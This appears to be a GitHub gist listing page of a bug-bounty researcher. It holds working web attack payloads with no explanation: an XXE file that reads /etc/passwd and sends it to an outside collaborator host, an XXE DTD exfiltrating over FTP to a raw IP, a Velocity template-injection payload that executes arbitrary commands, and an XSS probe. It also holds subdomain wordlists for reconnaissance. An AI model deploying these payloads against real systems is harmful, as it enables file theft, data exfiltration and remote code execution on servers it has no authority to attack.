Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View nahamsec's full-sized avatar

Ben Sadeghipour nahamsec

7.1k followers · 0 following
View GitHub Profile
@nahamsec
nahamsec / evil.xml
Last active January 18, 2024 04:17
<!ENTITY % xxePOC SYSTEM "file:///etc/passwd">
<!ENTITY % exfildata "<!ENTITY &#x25; exfil SYSTEM 'http://7u2bvf9vu78d9wepre2c3qmg87e82x.burpcollaborator.net/?x=%xxePOC;'>">
%exfildata;
%exfil;
@nahamsec
nahamsec / xxe.dtd
Last active July 27, 2020 03:48
<!ENTITY % d SYSTEM "https://138.68.23.180:443">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://138.68.23.180:443/%d;'>">
@nahamsec
nahamsec / 1stleveldomainsbycount
Created June 25, 2020 19:44
This file has been truncated, but you can view the full file.
www,719407
api,69552
eks,67581
svc,67131
cloudapp,65945
vpn,55659
bastion,53840
ax,40676
dev,38756
operations,35663
@nahamsec
nahamsec / extracted-subdomains
Created June 25, 2020 18:51
This file has been truncated, but you can view the full file.
prestigegiftware
12boxing
7clouds
alfredhealth
mywell
phdrastreador
halorei
qa2static
hemoservice
astellaspharma
@nahamsec
nahamsec / rce.vm
Created April 15, 2019 20:34
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end
@nahamsec
nahamsec / gist:143f4dcdc9ca4ef835c17b164939eef0
Created January 10, 2018 21:29
alert();//